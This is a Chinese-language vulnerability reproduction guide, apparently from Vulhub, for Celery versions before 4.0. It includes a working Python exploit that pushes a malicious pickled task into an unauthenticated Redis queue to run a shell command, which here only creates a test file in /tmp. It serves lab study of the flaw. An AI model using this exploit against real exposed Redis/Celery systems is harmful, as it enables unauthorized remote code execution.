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76 lines
2.8 KiB
Markdown
76 lines
2.8 KiB
Markdown
# Celery <4.0 Redis未授权访问+Pickle反序列化利用
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## 漏洞描述
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Celery 是一个简单、灵活且可靠的分布式系统，用于处理大量消息，同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列，同时也支持任务调度。
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在Celery < 4.0版本默认使用Pickle进行任务消息的序列化传递，当所用队列服务（比如Redis、RabbitMQ、RocketMQ等等等）存在未授权访问问题时，可利用Pickle反序列化漏洞执行任意代码。
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参考阅读：
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- https://docs.celeryproject.org/en/stable/userguide/configuration.html
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- https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk
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- https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers
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- https://www.jianshu.com/p/52552c075bc0
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- https://www.runoob.com/w3cnote/python-redis-intro.html
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- https://blog.csdn.net/SKI_12/article/details/85015803
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## 环境搭建
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Vulhub执行如下命令启动Celery 3.1.23 + Redis：
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```
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docker-compose up -d
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```
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## 漏洞复现
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漏洞利用脚本`exploit.py`仅支持在python3下使用
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```python
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import pickle
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import json
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import base64
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import redis
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import sys
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r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
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ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
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task_dict = json.loads(ori_str)
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command = 'touch /tmp/celery_success'
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class Person(object):
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def __reduce__(self):
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# 未导入os模块，通用
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return (__import__('os').system, (command,))
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pickleData = pickle.dumps(Person())
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task_dict['body']=base64.b64encode(pickleData).decode()
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print(task_dict)
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r.lpush('celery',json.dumps(task_dict))
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```
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```
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pip install redis
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python exploit.py [主机IP]
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```
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查看结果：
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```
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docker-compose logs celery
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```
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可以看到如下任务消息报错：
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```
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docker-compose exec celery ls -l /tmp
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```
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可以看到成功创建了文件`celery_success`
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